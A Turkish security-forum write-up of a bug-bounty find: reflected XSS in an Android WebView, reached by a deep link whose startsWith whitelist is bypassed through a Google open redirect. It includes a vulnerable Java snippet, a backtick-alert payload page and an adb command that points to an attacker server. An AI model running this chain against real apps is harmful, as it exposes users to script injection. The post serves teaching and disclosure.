Neler yeni
Bughane Academy

Bughane Academy, bug bounty, web güvenliği ve sızma testi alanında kendini geliştirmek isteyenler için kurulmuş Türkçe odaklı bir topluluktur.

Burada; gerçek güvenlik açıkları, recon ve exploit teknikleri, payload & bypass yöntemleri, araçlar, scriptler ve write-up’lar topluluk tarafından paylaşılır ve tartışılır.

Birlikte öğren, birlikte üret, birlikte güçlen.

[ANDROID APP!!] Reflected XSS in WebView via Deep Link Validation Bypass

Katılım
27 Ocak 2026
Mesajlar
70
Tepkime puanı
36
Puan
18
Merhaba arkadaşlar,
Bugün sizlerle yakın zamanda bir Bug Bounty programında tespit ettiğim, Medium (P3) seviyesinde değerlendirilen bir WebView XSS zafiyetinin teknik analizini paylaşacağım. Bu vaka, geliştiricilerin "Güvenli Alan Adı" (Whitelist) kontrollerini nasıl yanlış uyguladığını ve bizim bunu Google Open Redirect kullanarak nasıl atlatabileceğimizi (bypass) gösteren güzel bir örnek.

Reflected XSS'in ne olduğunu veya etkilerini zaten biliyorsunuz, o yüzden o kısımları geçip doğrudan nasıl bulunur, kodda ne aranır ve nasıl sömürülür kısmına odaklanacağız.


Hazırlık: Laboratuvar ve Araçlar

Analize başlamadan önce elimizdeki APK dosyasını incelemek için MobSF (Mobile Security Framework) ve JADX gibi araçlara ihtiyacımız var. Eğer MobSF kurulu değilse, en temiz kurulum yöntemi Docker kullanmaktır;
docker pull opensecurity/mobile-security-framework-mobsf:latest
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest


Tarayıcınızdan adresine giderek APK dosyanızı sürükleyip bırakabilirsiniz.

1. Keşif ve Statik Analiz​

Statik Analiz Obsesyonu: Önce APK'yı elde et. Orijinal uygulamadan ADB ile çek: Cihazı USB debugging moduna al, adb devices ile bağlan, sonra package name'i bul (pm list packages | grep app), mesela com.example.app.

adb shell pm path com.example.app
adb pull /data/app/com.example.app-xyz/base.apk herhangibirisim.apk

Bu, orijinal APK'yı lokal'e indirir – imzalı, gerçek. MobSF'ye yükle: Düşük puan gör (46/100), dışa açık 4 Activity, hassas izinler (ACCESS_FINE_LOCATION, CAMERA). Manifest'te intent-filter'ları avla: ve scheme="spring", path="/campaign?url=".

APK'yı MobSF'e yükledikten sonra ilk bakmamız gereken yer AndroidManifest.xml dosyasıdır. Hedefimiz, dış dünyadan tetiklenebilen aktiviteleri ve bunların kabul ettiği URI şemalarını bulmak.

Nelere Dikkat Etmeliyiz?Manifest dosyasında veya MobSF raporunda şu parametreleri arayın:
  • android:exported="true" (Bu aktivite dışarıdan erişilebilir demek)
  • android.intent.action.VIEW (Bir URL veya veri görüntüleme isteği)
  • android:scheme (Özel şemalar: spring://, app://, deeplink:// vb.)

Aşağıdaki gibi (benzeri) bir yapı gördüğümüzde "Deep Link" saldırı yüzeyi var demektir:

<activity android:name=".CampaignActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="spring" android:host="campaign" />
</intent-filter>
</activity>
Bu konfigürasyon bize şunu söylüyor: Bu uygulama spring://campaign ile başlayan bir linke tıklandığında tetikleniyor.

2. Kod İnceleme (JADX ile Manuel Kontrol)​

Zafiyeti bulduğumuz asıl nokta burası. JADX-GUI ile APK'yı açıp, yukarıda bulduğumuz Activity'nin kaynak koduna gidiyoruz. Geliştiricinin gelen URL parametresini nasıl işlediğine bakmalıyız.

Aramanız gereken kritik Java/Kotlin kod blokları şunlardır:

  1. Veriyi Alma: intent.getData() veya getQueryParameter("url")
  2. WebView Yükleme: webView.loadUrl(...)
  3. Doğrulama (Validation): if (url.startsWith("https://www.google.com"))
Zafiyetli Kod Mantığı (Örnek):Geliştirici genellikle şöyle bir mantık kurar: "Eğer URL https://www.google.com ile başlıyorsa güvenlidir, WebView içinde açabilirsin."

// ZAFİYETLİ KOD ÖRNEĞİ
String url = intent.getData().getQueryParameter("url");
if (url != null && url.startsWith("https://www.google.com")) {
webView.loadUrl(url);
}
Bu kontrol, Open Redirect zafiyeti olan güvenilir bir domain (örneğin Google) kullanılarak kolayca atlatılabilir.

3. Exploitation (Saldırı Zinciri)​

Saldırı kurgumuz şu adımlardan oluşuyor:

  1. Deep Link: Uygulamayı spring://campaign?url=... ile tetikle.
  2. Whitelist Bypass: URL'yi https://www.google.com ile başlatarak uygulamanın güvenlik kontrolünü geç.
  3. Open Redirect: Google'ın yönlendirme servisini (/url?q=...) kullanarak trafiği kendi sunucumuza çevir.
  4. XSS Payload: Kendi sunucumuzdaki (attacker.com) zararlı HTML/JS dosyasını WebView içinde çalıştır.

Payload Hazırlığı (index.html)​

Basit bir alert(1) bazen filtreye takılabilir. Parantez () filtrelerini atlatmak için Backticks (Template Literals) kullanabiliriz. Kendi sunucunuza (örneğin lhr.life veya ngrok) şu dosyayı yükleyin:
<!DOCTYPE html>
<html>
<body>
<h1>XSS!</h1>
<script>
alert`XSS By Berkay`;
</script>
</body>
</html>

Final URL: (ngrok'la dışa açabilirsiniz)

4. Proof of Concept (PoC) - ADB ile Tetikleme​

Gerçek bir cihazda veya emülatörde bu saldırıyı simüle etmek için ADB (Android Debug Bridge) kullanıyoruz. Bu komut, kurbanın zararlı linke tıklamasıyla aynı etkiyi yaratır.

ADB Komutu:
adb shell am start -W -a android.intent.action.VIEW -d "spring://campaign?url=https://www.google.com/url?q=https://saldirgan-sunucu.com/index.html"

Adım Adım Gerçekleşenler:
  1. Komut çalıştırıldığında uygulama açılır ve "Shop" (veya ilgili) WebView sayfasına gider.
  2. Uygulama URL'in google.com ile başladığını görür ve yüklemeye izin verir.
  3. WebView, Google Redirect sayfasını yükler:

Kanıt 1: Redirect Bypass(Aşağıdaki görselde uygulamanın kendi içinde Google Redirect uyarısını gösterdiğini görüyoruz, yani whitelist aşıldı.)
google_redirect_bypass.png
  1. Google kullanıcıyı sizin sunucunuza yönlendirir.
  2. WebView, zararlı index.html dosyasını render eder ve JavaScript çalışır.
Kanıt 2: XSS Execution(Aşağıdaki görselde uygulamanın native arayüzü üzerinde alert kutusunun çıktığını görüyoruz.)
webview_xss_execution.png


Referanslar & Kaynaklar:
  • OWASP Mobile Top 10: M7 - Client Code Quality
  • CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
Umarım bu vaka analizi bakış açınızı geliştirmenize yardımcı olur..
 

Ekli dosyalar

  • google_redirect_bypass.jpg
    google_redirect_bypass.jpg
    32 KB · Görüntüleme: 2
  • webview_xss_execution.jpg
    webview_xss_execution.jpg
    23,3 KB · Görüntüleme: 2
Ayrica yakin zamanda git te bir tool paylasacagim, mobsf bazen sorun cikarabiliyor. Daha kolay bir versiyonunu pythondan yazdim. cve data ekleyip biraz daha stabil hale getirmeye calisiyorum. sizinle paylasacagim.
 
Geri
Üst